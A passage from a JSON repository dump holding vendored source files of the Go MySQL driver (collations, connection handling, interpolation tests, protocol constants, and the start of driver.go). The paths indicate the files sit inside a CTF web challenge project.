    "content": "// Go MySQL Driver - A MySQL-Driver for Go's database/sql package\n//\n// Copyright 2014 The Go-MySQL-Driver Authors. All rights reserved.\n//\n// This Source Code Form is subject to the terms of the Mozilla Public\n// License, v. 2.0. If a copy of the MPL was not distributed with this file,\n// You can obtain one at http://mozilla.org/MPL/2.0/.\n\npackage mysql\n\nconst defaultCollation = \"utf8_general_ci\"\n\n// A list of available collations mapped to the internal ID.\n// To update this map use the following MySQL query:\n//     SELECT COLLATION_NAME, ID FROM information_schema.COLLATIONS\nvar collations = map[string]byte{\n\t\"big5_chinese_ci\":          1,\n\t\"latin2_czech_cs\":          2,\n\t\"dec8_swedish_ci\":          3,\n\t\"cp850_general_ci\":         4,\n\t\"latin1_german1_ci\":        5,\n\t\"hp8_english_ci\":           6,\n\t\"koi8r_general_ci\":         7,\n\t\"latin1_swedish_ci\":        8,\n\t\"latin2_general_ci\":        9,\n\t\"swe7_swedish_ci\":          10,\n\t\"ascii_general_ci\":         11,\n\t\"ujis_japanese_ci\":         12,\n\t\"sjis_japanese_ci\":         13,\n\t\"cp1251_bulgarian_ci\":      14,\n\t\"latin1_danish_ci\":         15,\n\t\"hebrew_general_ci\":        16,\n\t\"tis620_thai_ci\":           18,\n\t\"euckr_korean_ci\":          19,\n\t\"latin7_estonian_cs\":       20,\n\t\"latin2_hungarian_ci\":      21,\n\t\"koi8u_general_ci\":         22,\n\t\"cp1251_ukrainian_ci\":      23,\n\t\"gb2312_chinese_ci\":        24,\n\t\"greek_general_ci\":         25,\n\t\"cp1250_general_ci\":        26,\n\t\"latin2_croatian_ci\":       27,\n\t\"gbk_chinese_ci\":           28,\n\t\"cp1257_lithuanian_ci\":     29,\n\t\"latin5_turkish_ci\":        30,\n\t\"latin1_german2_ci\":        31,\n\t\"armscii8_general_ci\":      32,\n\t\"utf8_general_ci\":          33,\n\t\"cp1250_czech_cs\":          34,\n\t\"ucs2_general_ci\":          35,\n\t\"cp866_general_ci\":         36,\n\t\"keybcs2_general_ci\":       37,\n\t\"macce_general_ci\":         38,\n\t\"macroman_general_ci\":      39,\n\t\"cp852_general_ci\":         40,\n\t\"latin7_general_ci\":        41,\n\t\"latin7_general_cs\":        42,\n\t\"macce_bin\":                43,\n\t\"cp1250_croatian_ci\":       44,\n\t\"utf8mb4_general_ci\":       45,\n\t\"utf8mb4_bin\":              46,\n\t\"latin1_bin\":               47,\n\t\"latin1_general_ci\":        48,\n\t\"latin1_general_cs\":        49,\n\t\"cp1251_bin\":               50,\n\t\"cp1251_general_ci\":        51,\n\t\"cp1251_general_cs\":        52,\n\t\"macroman_bin\":             53,\n\t\"utf16_general_ci\":         54,\n\t\"utf16_bin\":                55,\n\t\"utf16le_general_ci\":       56,\n\t\"cp1256_general_ci\":        57,\n\t\"cp1257_bin\":               58,\n\t\"cp1257_general_ci\":        59,\n\t\"utf32_general_ci\":         60,\n\t\"utf32_bin\":                61,\n\t\"utf16le_bin\":              62,\n\t\"binary\":                   63,\n\t\"armscii8_bin\":             64,\n\t\"ascii_bin\":                65,\n\t\"cp1250_bin\":               66,\n\t\"cp1256_bin\":               67,\n\t\"cp866_bin\":                68,\n\t\"dec8_bin\":                 69,\n\t\"greek_bin\":                70,\n\t\"hebrew_bin\":               71,\n\t\"hp8_bin\":                  72,\n\t\"keybcs2_bin\":              73,\n\t\"koi8r_bin\":                74,\n\t\"koi8u_bin\":                75,\n\t\"latin2_bin\":               77,\n\t\"latin5_bin\":               78,\n\t\"latin7_bin\":               79,\n\t\"cp850_bin\":                80,\n\t\"cp852_bin\":                81,\n\t\"swe7_bin\":                 82,\n\t\"utf8_bin\":                 83,\n\t\"big5_bin\":                 84,\n\t\"euckr_bin\":                85,\n\t\"gb2312_bin\":               86,\n\t\"gbk_bin\":                  87,\n\t\"sjis_bin\":                 88,\n\t\"tis620_bin\":               89,\n\t\"ucs2_bin\":                 90,\n\t\"ujis_bin\":                 91,\n\t\"geostd8_general_ci\":       92,\n\t\"geostd8_bin\":              93,\n\t\"latin1_spanish_ci\":        94,\n\t\"cp932_japanese_ci\":        95,\n\t\"cp932_bin\":                96,\n\t\"eucjpms_japanese_ci\":      97,\n\t\"eucjpms_bin\":              98,\n\t\"cp1250_polish_ci\":         99,\n\t\"utf16_unicode_ci\":         101,\n\t\"utf16_icelandic_ci\":       102,\n\t\"utf16_latvian_ci\":         103,\n\t\"utf16_romanian_ci\":        104,\n\t\"utf16_slovenian_ci\":       105,\n\t\"utf16_polish_ci\":          106,\n\t\"utf16_estonian_ci\":        107,\n\t\"utf16_spanish_ci\":         108,\n\t\"utf16_swedish_ci\":         109,\n\t\"utf16_turkish_ci\":         110,\n\t\"utf16_czech_ci\":           111,\n\t\"utf16_danish_ci\":          112,\n\t\"utf16_lithuanian_ci\":      113,\n\t\"utf16_slovak_ci\":          114,\n\t\"utf16_spanish2_ci\":        115,\n\t\"utf16_roman_ci\":           116,\n\t\"utf16_persian_ci\":         117,\n\t\"utf16_esperanto_ci\":       118,\n\t\"utf16_hungarian_ci\":       119,\n\t\"utf16_sinhala_ci\":         120,\n\t\"utf16_german2_ci\":         121,\n\t\"utf16_croatian_ci\":        122,\n\t\"utf16_unicode_520_ci\":     123,\n\t\"utf16_vietnamese_ci\":      124,\n\t\"ucs2_unicode_ci\":          128,\n\t\"ucs2_icelandic_ci\":        129,\n\t\"ucs2_latvian_ci\":          130,\n\t\"ucs2_romanian_ci\":         131,\n\t\"ucs2_slovenian_ci\":        132,\n\t\"ucs2_polish_ci\":           133,\n\t\"ucs2_estonian_ci\":         134,\n\t\"ucs2_spanish_ci\":          135,\n\t\"ucs2_swedish_ci\":          136,\n\t\"ucs2_turkish_ci\":          137,\n\t\"ucs2_czech_ci\":            138,\n\t\"ucs2_danish_ci\":           139,\n\t\"ucs2_lithuanian_ci\":       140,\n\t\"ucs2_slovak_ci\":           141,\n\t\"ucs2_spanish2_ci\":         142,\n\t\"ucs2_roman_ci\":            143,\n\t\"ucs2_persian_ci\":          144,\n\t\"ucs2_esperanto_ci\":        145,\n\t\"ucs2_hungarian_ci\":        146,\n\t\"ucs2_sinhala_ci\":          147,\n\t\"ucs2_german2_ci\":          148,\n\t\"ucs2_croatian_ci\":         149,\n\t\"ucs2_unicode_520_ci\":      150,\n\t\"ucs2_vietnamese_ci\":       151,\n\t\"ucs2_general_mysql500_ci\": 159,\n\t\"utf32_unicode_ci\":         160,\n\t\"utf32_icelandic_ci\":       161,\n\t\"utf32_latvian_ci\":         162,\n\t\"utf32_romanian_ci\":        163,\n\t\"utf32_slovenian_ci\":       164,\n\t\"utf32_polish_ci\":          165,\n\t\"utf32_estonian_ci\":        166,\n\t\"utf32_spanish_ci\":         167,\n\t\"utf32_swedish_ci\":         168,\n\t\"utf32_turkish_ci\":         169,\n\t\"utf32_czech_ci\":           170,\n\t\"utf32_danish_ci\":          171,\n\t\"utf32_lithuanian_ci\":      172,\n\t\"utf32_slovak_ci\":          173,\n\t\"utf32_spanish2_ci\":        174,\n\t\"utf32_roman_ci\":           175,\n\t\"utf32_persian_ci\":         176,\n\t\"utf32_esperanto_ci\":       177,\n\t\"utf32_hungarian_ci\":       178,\n\t\"utf32_sinhala_ci\":         179,\n\t\"utf32_german2_ci\":         180,\n\t\"utf32_croatian_ci\":        181,\n\t\"utf32_unicode_520_ci\":     182,\n\t\"utf32_vietnamese_ci\":      183,\n\t\"utf8_unicode_ci\":          192,\n\t\"utf8_icelandic_ci\":        193,\n\t\"utf8_latvian_ci\":          194,\n\t\"utf8_romanian_ci\":         195,\n\t\"utf8_slovenian_ci\":        196,\n\t\"utf8_polish_ci\":           197,\n\t\"utf8_estonian_ci\":         198,\n\t\"utf8_spanish_ci\":          199,\n\t\"utf8_swedish_ci\":          200,\n\t\"utf8_turkish_ci\":          201,\n\t\"utf8_czech_ci\":            202,\n\t\"utf8_danish_ci\":           203,\n\t\"utf8_lithuanian_ci\":       204,\n\t\"utf8_slovak_ci\":           205,\n\t\"utf8_spanish2_ci\":         206,\n\t\"utf8_roman_ci\":            207,\n\t\"utf8_persian_ci\":          208,\n\t\"utf8_esperanto_ci\":        209,\n\t\"utf8_hungarian_ci\":        210,\n\t\"utf8_sinhala_ci\":          211,\n\t\"utf8_german2_ci\":          212,\n\t\"utf8_croatian_ci\":         213,\n\t\"utf8_unicode_520_ci\":      214,\n\t\"utf8_vietnamese_ci\":       215,\n\t\"utf8_general_mysql500_ci\": 223,\n\t\"utf8mb4_unicode_ci\":       224,\n\t\"utf8mb4_icelandic_ci\":     225,\n\t\"utf8mb4_latvian_ci\":       226,\n\t\"utf8mb4_romanian_ci\":      227,\n\t\"utf8mb4_slovenian_ci\":     228,\n\t\"utf8mb4_polish_ci\":        229,\n\t\"utf8mb4_estonian_ci\":      230,\n\t\"utf8mb4_spanish_ci\":       231,\n\t\"utf8mb4_swedish_ci\":       232,\n\t\"utf8mb4_turkish_ci\":       233,\n\t\"utf8mb4_czech_ci\":         234,\n\t\"utf8mb4_danish_ci\":        235,\n\t\"utf8mb4_lithuanian_ci\":    236,\n\t\"utf8mb4_slovak_ci\":        237,\n\t\"utf8mb4_spanish2_ci\":      238,\n\t\"utf8mb4_roman_ci\":         239,\n\t\"utf8mb4_persian_ci\":       240,\n\t\"utf8mb4_esperanto_ci\":     241,\n\t\"utf8mb4_hungarian_ci\":     242,\n\t\"utf8mb4_sinhala_ci\":       243,\n\t\"utf8mb4_german2_ci\":       244,\n\t\"utf8mb4_croatian_ci\":      245,\n\t\"utf8mb4_unicode_520_ci\":   246,\n\t\"utf8mb4_vietnamese_ci\":    247,\n}\n\n// A blacklist of collations which is unsafe to interpolate parameters.\n// These multibyte encodings may contains 0x5c (`\\`) in their trailing bytes.\nvar unsafeCollations = map[string]bool{\n\t\"big5_chinese_ci\":   true,\n\t\"sjis_japanese_ci\":  true,\n\t\"gbk_chinese_ci\":    true,\n\t\"big5_bin\":          true,\n\t\"gb2312_bin\":        true,\n\t\"gbk_bin\":           true,\n\t\"sjis_bin\":          true,\n\t\"cp932_japanese_ci\": true,\n\t\"cp932_bin\":         true,\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/connection.go",
    "content": "// Go MySQL Driver - A MySQL-Driver for Go's database/sql package\n//\n// Copyright 2012 The Go-MySQL-Driver Authors. All rights reserved.\n//\n// This Source Code Form is subject to the terms of the Mozilla Public\n// License, v. 2.0. If a copy of the MPL was not distributed with this file,\n// You can obtain one at http://mozilla.org/MPL/2.0/.\n\npackage mysql\n\nimport (\n\t\"database/sql/driver\"\n\t\"net\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n)\n\ntype mysqlConn struct {\n\tbuf              buffer\n\tnetConn          net.Conn\n\taffectedRows     uint64\n\tinsertId         uint64\n\tcfg              *Config\n\tmaxAllowedPacket int\n\tmaxWriteSize     int\n\twriteTimeout     time.Duration\n\tflags            clientFlag\n\tstatus           statusFlag\n\tsequence         uint8\n\tparseTime        bool\n\tstrict           bool\n}\n\n// Handles parameters set in DSN after the connection is established\nfunc (mc *mysqlConn) handleParams() (err error) {\n\tfor param, val := range mc.cfg.Params {\n\t\tswitch param {\n\t\t// Charset\n\t\tcase \"charset\":\n\t\t\tcharsets := strings.Split(val, \",\")\n\t\t\tfor i := range charsets {\n\t\t\t\t// ignore errors here - a charset may not exist\n\t\t\t\terr = mc.exec(\"SET NAMES \" + charsets[i])\n\t\t\t\tif err == nil {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t// System Vars\n\t\tdefault:\n\t\t\terr = mc.exec(\"SET \" + param + \"=\" + val + \"\")\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\n\treturn\n}\n\nfunc (mc *mysqlConn) Begin() (driver.Tx, error) {\n\tif mc.netConn == nil {\n\t\terrLog.Print(ErrInvalidConn)\n\t\treturn nil, driver.ErrBadConn\n\t}\n\terr := mc.exec(\"START TRANSACTION\")\n\tif err == nil {\n\t\treturn &mysqlTx{mc}, err\n\t}\n\n\treturn nil, err\n}\n\nfunc (mc *mysqlConn) Close() (err error) {\n\t// Makes Close idempotent\n\tif mc.netConn != nil {\n\t\terr = mc.writeCommandPacket(comQuit)\n\t}\n\n\tmc.cleanup()\n\n\treturn\n}\n\n// Closes the network connection and unsets internal variables. Do not call this\n// function after successfully authentication, call Close instead. This function\n// is called before auth or on auth failure because MySQL will have already\n// closed the network connection.\nfunc (mc *mysqlConn) cleanup() {\n\t// Makes cleanup idempotent\n\tif mc.netConn != nil {\n\t\tif err := mc.netConn.Close(); err != nil {\n\t\t\terrLog.Print(err)\n\t\t}\n\t\tmc.netConn = nil\n\t}\n\tmc.cfg = nil\n\tmc.buf.nc = nil\n}\n\nfunc (mc *mysqlConn) Prepare(query string) (driver.Stmt, error) {\n\tif mc.netConn == nil {\n\t\terrLog.Print(ErrInvalidConn)\n\t\treturn nil, driver.ErrBadConn\n\t}\n\t// Send command\n\terr := mc.writeCommandPacketStr(comStmtPrepare, query)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tstmt := &mysqlStmt{\n\t\tmc: mc,\n\t}\n\n\t// Read Result\n\tcolumnCount, err := stmt.readPrepareResultPacket()\n\tif err == nil {\n\t\tif stmt.paramCount > 0 {\n\t\t\tif err = mc.readUntilEOF(); err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\n\t\tif columnCount > 0 {\n\t\t\terr = mc.readUntilEOF()\n\t\t}\n\t}\n\n\treturn stmt, err\n}\n\nfunc (mc *mysqlConn) interpolateParams(query string, args []driver.Value) (string, error) {\n\t// Number of ? should be same to len(args)\n\tif strings.Count(query, \"?\") != len(args) {\n\t\treturn \"\", driver.ErrSkip\n\t}\n\n\tbuf := mc.buf.takeCompleteBuffer()\n\tif buf == nil {\n\t\t// can not take the buffer. Something must be wrong with the connection\n\t\terrLog.Print(ErrBusyBuffer)\n\t\treturn \"\", driver.ErrBadConn\n\t}\n\tbuf = buf[:0]\n\targPos := 0\n\n\tfor i := 0; i < len(query); i++ {\n\t\tq := strings.IndexByte(query[i:], '?')\n\t\tif q == -1 {\n\t\t\tbuf = append(buf, query[i:]...)\n\t\t\tbreak\n\t\t}\n\t\tbuf = append(buf, query[i:i+q]...)\n\t\ti += q\n\n\t\targ := args[argPos]\n\t\targPos++\n\n\t\tif arg == nil {\n\t\t\tbuf = append(buf, \"NULL\"...)\n\t\t\tcontinue\n\t\t}\n\n\t\tswitch v := arg.(type) {\n\t\tcase int64:\n\t\t\tbuf = strconv.AppendInt(buf, v, 10)\n\t\tcase float64:\n\t\t\tbuf = strconv.AppendFloat(buf, v, 'g', -1, 64)\n\t\tcase bool:\n\t\t\tif v {\n\t\t\t\tbuf = append(buf, '1')\n\t\t\t} else {\n\t\t\t\tbuf = append(buf, '0')\n\t\t\t}\n\t\tcase time.Time:\n\t\t\tif v.IsZero() {\n\t\t\t\tbuf = append(buf, \"'0000-00-00'\"...)\n\t\t\t} else {\n\t\t\t\tv := v.In(mc.cfg.Loc)\n\t\t\t\tv = v.Add(time.Nanosecond * 500) // To round under microsecond\n\t\t\t\tyear := v.Year()\n\t\t\t\tyear100 := year / 100\n\t\t\t\tyear1 := year % 100\n\t\t\t\tmonth := v.Month()\n\t\t\t\tday := v.Day()\n\t\t\t\thour := v.Hour()\n\t\t\t\tminute := v.Minute()\n\t\t\t\tsecond := v.Second()\n\t\t\t\tmicro := v.Nanosecond() / 1000\n\n\t\t\t\tbuf = append(buf, []byte{\n\t\t\t\t\t'\\'',\n\t\t\t\t\tdigits10[year100], digits01[year100],\n\t\t\t\t\tdigits10[year1], digits01[year1],\n\t\t\t\t\t'-',\n\t\t\t\t\tdigits10[month], digits01[month],\n\t\t\t\t\t'-',\n\t\t\t\t\tdigits10[day], digits01[day],\n\t\t\t\t\t' ',\n\t\t\t\t\tdigits10[hour], digits01[hour],\n\t\t\t\t\t':',\n\t\t\t\t\tdigits10[minute], digits01[minute],\n\t\t\t\t\t':',\n\t\t\t\t\tdigits10[second], digits01[second],\n\t\t\t\t}...)\n\n\t\t\t\tif micro != 0 {\n\t\t\t\t\tmicro10000 := micro / 10000\n\t\t\t\t\tmicro100 := micro / 100 % 100\n\t\t\t\t\tmicro1 := micro % 100\n\t\t\t\t\tbuf = append(buf, []byte{\n\t\t\t\t\t\t'.',\n\t\t\t\t\t\tdigits10[micro10000], digits01[micro10000],\n\t\t\t\t\t\tdigits10[micro100], digits01[micro100],\n\t\t\t\t\t\tdigits10[micro1], digits01[micro1],\n\t\t\t\t\t}...)\n\t\t\t\t}\n\t\t\t\tbuf = append(buf, '\\'')\n\t\t\t}\n\t\tcase []byte:\n\t\t\tif v == nil {\n\t\t\t\tbuf = append(buf, \"NULL\"...)\n\t\t\t} else {\n\t\t\t\tbuf = append(buf, \"_binary'\"...)\n\t\t\t\tif mc.status&statusNoBackslashEscapes == 0 {\n\t\t\t\t\tbuf = escapeBytesBackslash(buf, v)\n\t\t\t\t} else {\n\t\t\t\t\tbuf = escapeBytesQuotes(buf, v)\n\t\t\t\t}\n\t\t\t\tbuf = append(buf, '\\'')\n\t\t\t}\n\t\tcase string:\n\t\t\tbuf = append(buf, '\\'')\n\t\t\tif mc.status&statusNoBackslashEscapes == 0 {\n\t\t\t\tbuf = escapeStringBackslash(buf, v)\n\t\t\t} else {\n\t\t\t\tbuf = escapeStringQuotes(buf, v)\n\t\t\t}\n\t\t\tbuf = append(buf, '\\'')\n\t\tdefault:\n\t\t\treturn \"\", driver.ErrSkip\n\t\t}\n\n\t\tif len(buf)+4 > mc.maxAllowedPacket {\n\t\t\treturn \"\", driver.ErrSkip\n\t\t}\n\t}\n\tif argPos != len(args) {\n\t\treturn \"\", driver.ErrSkip\n\t}\n\treturn string(buf), nil\n}\n\nfunc (mc *mysqlConn) Exec(query string, args []driver.Value) (driver.Result, error) {\n\tif mc.netConn == nil {\n\t\terrLog.Print(ErrInvalidConn)\n\t\treturn nil, driver.ErrBadConn\n\t}\n\tif len(args) != 0 {\n\t\tif !mc.cfg.InterpolateParams {\n\t\t\treturn nil, driver.ErrSkip\n\t\t}\n\t\t// try to interpolate the parameters to save extra roundtrips for preparing and closing a statement\n\t\tprepared, err := mc.interpolateParams(query, args)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tquery = prepared\n\t\targs = nil\n\t}\n\tmc.affectedRows = 0\n\tmc.insertId = 0\n\n\terr := mc.exec(query)\n\tif err == nil {\n\t\treturn &mysqlResult{\n\t\t\taffectedRows: int64(mc.affectedRows),\n\t\t\tinsertId:     int64(mc.insertId),\n\t\t}, err\n\t}\n\treturn nil, err\n}\n\n// Internal function to execute commands\nfunc (mc *mysqlConn) exec(query string) error {\n\t// Send command\n\terr := mc.writeCommandPacketStr(comQuery, query)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Read Result\n\tresLen, err := mc.readResultSetHeaderPacket()\n\tif err == nil && resLen > 0 {\n\t\tif err = mc.readUntilEOF(); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\terr = mc.readUntilEOF()\n\t}\n\n\treturn err\n}\n\nfunc (mc *mysqlConn) Query(query string, args []driver.Value) (driver.Rows, error) {\n\tif mc.netConn == nil {\n\t\terrLog.Print(ErrInvalidConn)\n\t\treturn nil, driver.ErrBadConn\n\t}\n\tif len(args) != 0 {\n\t\tif !mc.cfg.InterpolateParams {\n\t\t\treturn nil, driver.ErrSkip\n\t\t}\n\t\t// try client-side prepare to reduce roundtrip\n\t\tprepared, err := mc.interpolateParams(query, args)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tquery = prepared\n\t\targs = nil\n\t}\n\t// Send command\n\terr := mc.writeCommandPacketStr(comQuery, query)\n\tif err == nil {\n\t\t// Read Result\n\t\tvar resLen int\n\t\tresLen, err = mc.readResultSetHeaderPacket()\n\t\tif err == nil {\n\t\t\trows := new(textRows)\n\t\t\trows.mc = mc\n\n\t\t\tif resLen == 0 {\n\t\t\t\t// no columns, no more data\n\t\t\t\treturn emptyRows{}, nil\n\t\t\t}\n\t\t\t// Columns\n\t\t\trows.columns, err = mc.readColumns(resLen)\n\t\t\treturn rows, err\n\t\t}\n\t}\n\treturn nil, err\n}\n\n// Gets the value of the given MySQL System Variable\n// The returned byte slice is only valid until the next read\nfunc (mc *mysqlConn) getSystemVar(name string) ([]byte, error) {\n\t// Send command\n\tif err := mc.writeCommandPacketStr(comQuery, \"SELECT @@\"+name); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Read Result\n\tresLen, err := mc.readResultSetHeaderPacket()\n\tif err == nil {\n\t\trows := new(textRows)\n\t\trows.mc = mc\n\t\trows.columns = []mysqlField{{fieldType: fieldTypeVarChar}}\n\n\t\tif resLen > 0 {\n\t\t\t// Columns\n\t\t\tif err := mc.readUntilEOF(); err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\n\t\tdest := make([]driver.Value, resLen)\n\t\tif err = rows.readRow(dest); err == nil {\n\t\t\treturn dest[0].([]byte), mc.readUntilEOF()\n\t\t}\n\t}\n\treturn nil, err\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/connection_test.go",
    "content": "// Go MySQL Driver - A MySQL-Driver for Go's database/sql package\n//\n// Copyright 2016 The Go-MySQL-Driver Authors. All rights reserved.\n//\n// This Source Code Form is subject to the terms of the Mozilla Public\n// License, v. 2.0. If a copy of the MPL was not distributed with this file,\n// You can obtain one at http://mozilla.org/MPL/2.0/.\n\npackage mysql\n\nimport (\n\t\"database/sql/driver\"\n\t\"testing\"\n)\n\nfunc TestInterpolateParams(t *testing.T) {\n\tmc := &mysqlConn{\n\t\tbuf:              newBuffer(nil),\n\t\tmaxAllowedPacket: maxPacketSize,\n\t\tcfg: &Config{\n\t\t\tInterpolateParams: true,\n\t\t},\n\t}\n\n\tq, err := mc.interpolateParams(\"SELECT ?+?\", []driver.Value{int64(42), \"gopher\"})\n\tif err != nil {\n\t\tt.Errorf(\"Expected err=nil, got %#v\", err)\n\t\treturn\n\t}\n\texpected := `SELECT 42+'gopher'`\n\tif q != expected {\n\t\tt.Errorf(\"Expected: %q\\nGot: %q\", expected, q)\n\t}\n}\n\nfunc TestInterpolateParamsTooManyPlaceholders(t *testing.T) {\n\tmc := &mysqlConn{\n\t\tbuf:              newBuffer(nil),\n\t\tmaxAllowedPacket: maxPacketSize,\n\t\tcfg: &Config{\n\t\t\tInterpolateParams: true,\n\t\t},\n\t}\n\n\tq, err := mc.interpolateParams(\"SELECT ?+?\", []driver.Value{int64(42)})\n\tif err != driver.ErrSkip {\n\t\tt.Errorf(\"Expected err=driver.ErrSkip, got err=%#v, q=%#v\", err, q)\n\t}\n}\n\n// We don't support placeholder in string literal for now.\n// https://github.com/go-sql-driver/mysql/pull/490\nfunc TestInterpolateParamsPlaceholderInString(t *testing.T) {\n\tmc := &mysqlConn{\n\t\tbuf:              newBuffer(nil),\n\t\tmaxAllowedPacket: maxPacketSize,\n\t\tcfg: &Config{\n\t\t\tInterpolateParams: true,\n\t\t},\n\t}\n\n\tq, err := mc.interpolateParams(\"SELECT 'abc?xyz',?\", []driver.Value{int64(42)})\n\t// When InterpolateParams support string literal, this should return `\"SELECT 'abc?xyz', 42`\n\tif err != driver.ErrSkip {\n\t\tt.Errorf(\"Expected err=driver.ErrSkip, got err=%#v, q=%#v\", err, q)\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/const.go",
    "content": "// Go MySQL Driver - A MySQL-Driver for Go's database/sql package\n//\n// Copyright 2012 The Go-MySQL-Driver Authors. All rights reserved.\n//\n// This Source Code Form is subject to the terms of the Mozilla Public\n// License, v. 2.0. If a copy of the MPL was not distributed with this file,\n// You can obtain one at http://mozilla.org/MPL/2.0/.\n\npackage mysql\n\nconst (\n\tminProtocolVersion byte = 10\n\tmaxPacketSize           = 1<<24 - 1\n\ttimeFormat              = \"2006-01-02 15:04:05.999999\"\n)\n\n// MySQL constants documentation:\n// http://dev.mysql.com/doc/internals/en/client-server-protocol.html\n\nconst (\n\tiOK          byte = 0x00\n\tiLocalInFile byte = 0xfb\n\tiEOF         byte = 0xfe\n\tiERR         byte = 0xff\n)\n\n// https://dev.mysql.com/doc/internals/en/capability-flags.html#packet-Protocol::CapabilityFlags\ntype clientFlag uint32\n\nconst (\n\tclientLongPassword clientFlag = 1 << iota\n\tclientFoundRows\n\tclientLongFlag\n\tclientConnectWithDB\n\tclientNoSchema\n\tclientCompress\n\tclientODBC\n\tclientLocalFiles\n\tclientIgnoreSpace\n\tclientProtocol41\n\tclientInteractive\n\tclientSSL\n\tclientIgnoreSIGPIPE\n\tclientTransactions\n\tclientReserved\n\tclientSecureConn\n\tclientMultiStatements\n\tclientMultiResults\n\tclientPSMultiResults\n\tclientPluginAuth\n\tclientConnectAttrs\n\tclientPluginAuthLenEncClientData\n\tclientCanHandleExpiredPasswords\n\tclientSessionTrack\n\tclientDeprecateEOF\n)\n\nconst (\n\tcomQuit byte = iota + 1\n\tcomInitDB\n\tcomQuery\n\tcomFieldList\n\tcomCreateDB\n\tcomDropDB\n\tcomRefresh\n\tcomShutdown\n\tcomStatistics\n\tcomProcessInfo\n\tcomConnect\n\tcomProcessKill\n\tcomDebug\n\tcomPing\n\tcomTime\n\tcomDelayedInsert\n\tcomChangeUser\n\tcomBinlogDump\n\tcomTableDump\n\tcomConnectOut\n\tcomRegisterSlave\n\tcomStmtPrepare\n\tcomStmtExecute\n\tcomStmtSendLongData\n\tcomStmtClose\n\tcomStmtReset\n\tcomSetOption\n\tcomStmtFetch\n)\n\n// https://dev.mysql.com/doc/internals/en/com-query-response.html#packet-Protocol::ColumnType\nconst (\n\tfieldTypeDecimal byte = iota\n\tfieldTypeTiny\n\tfieldTypeShort\n\tfieldTypeLong\n\tfieldTypeFloat\n\tfieldTypeDouble\n\tfieldTypeNULL\n\tfieldTypeTimestamp\n\tfieldTypeLongLong\n\tfieldTypeInt24\n\tfieldTypeDate\n\tfieldTypeTime\n\tfieldTypeDateTime\n\tfieldTypeYear\n\tfieldTypeNewDate\n\tfieldTypeVarChar\n\tfieldTypeBit\n)\nconst (\n\tfieldTypeJSON byte = iota + 0xf5\n\tfieldTypeNewDecimal\n\tfieldTypeEnum\n\tfieldTypeSet\n\tfieldTypeTinyBLOB\n\tfieldTypeMediumBLOB\n\tfieldTypeLongBLOB\n\tfieldTypeBLOB\n\tfieldTypeVarString\n\tfieldTypeString\n\tfieldTypeGeometry\n)\n\ntype fieldFlag uint16\n\nconst (\n\tflagNotNULL fieldFlag = 1 << iota\n\tflagPriKey\n\tflagUniqueKey\n\tflagMultipleKey\n\tflagBLOB\n\tflagUnsigned\n\tflagZeroFill\n\tflagBinary\n\tflagEnum\n\tflagAutoIncrement\n\tflagTimestamp\n\tflagSet\n\tflagUnknown1\n\tflagUnknown2\n\tflagUnknown3\n\tflagUnknown4\n)\n\n// http://dev.mysql.com/doc/internals/en/status-flags.html\ntype statusFlag uint16\n\nconst (\n\tstatusInTrans statusFlag = 1 << iota\n\tstatusInAutocommit\n\tstatusReserved // Not in documentation\n\tstatusMoreResultsExists\n\tstatusNoGoodIndexUsed\n\tstatusNoIndexUsed\n\tstatusCursorExists\n\tstatusLastRowSent\n\tstatusDbDropped\n\tstatusNoBackslashEscapes\n\tstatusMetadataChanged\n\tstatusQueryWasSlow\n\tstatusPsOutParams\n\tstatusInTransReadonly\n\tstatusSessionStateChanged\n)\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/driver.go",
    "content": "// Copyright 2012 The Go-MySQL-Driver Authors. All rights reserved.\n//\n// This Source Code Form is subject to the terms of the Mozilla Public\n// License, v. 2.0. If a copy of the MPL was not distributed with this file,\n// You can obtain one at http://mozilla.org/MPL/2.0/.\n\n// Package mysql provides a MySQL driver for Go's database/sql package\n//\n// The driver should be used via the database/sql package:\n//\n//  import \"database/sql\"\n//  import _ \"github.com/go-sql-driver/mysql\"\n//\n//  db, err := sql.Open(\"mysql\", \"user:password@/dbname\")\n//\n// See https://github.com/go-sql-driver/mysql#usage for details\npackage mysql\n\nimport (\n\t\"database/sql\"\n\t\"database/sql/driver\"\n\t\"net\"\n)\n\n// MySQLDriver is exported to make the driver directly accessible.\n// In general the driver is used via the database/sql package.\ntype MySQLDriver struct{}\n\n// DialFunc is a function which can be used to establish the network connection.\n// Custom dial functions must be registered with RegisterDial\ntype DialFunc func(addr string) (net.Conn, error)\n\nvar dials map[string]DialFunc\n\n// RegisterDial registers a custom dial function. It can then be used by the\n// network address mynet(addr), where mynet is the registered new network.\n// addr is passed as a parameter to the dial function.\nfunc RegisterDial(net string, dial DialFunc) {\n\tif dials == nil {\n\t\tdials = make(map[string]DialFunc)\n\t}\n\tdials[net] = dial\n}\n\n// Open new Connection.\n// See https://github.com/go-sql-driver/mysql#dsn-data-source-name for how\n// the DSN string is formated\nfunc (d MySQLDriver) Open(dsn string) (driver.Conn, error) {\n\tvar err error\n\n\t// New mysqlConn\n\tmc := &mysqlConn{\n\t\tmaxAllowedPacket: maxPacketSize,\n\t\tmaxWriteSize:     maxPacketSize - 1,\n\t}\n\tmc.cfg, err = ParseDSN(dsn)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tmc.parseTime = mc.cfg.ParseTime\n\tmc.strict = mc.cfg.Strict\n\n\t// Connect to Server\n\tif dial, ok := dials[mc.cfg.Net]; ok {\n\t\tmc.netConn, err = 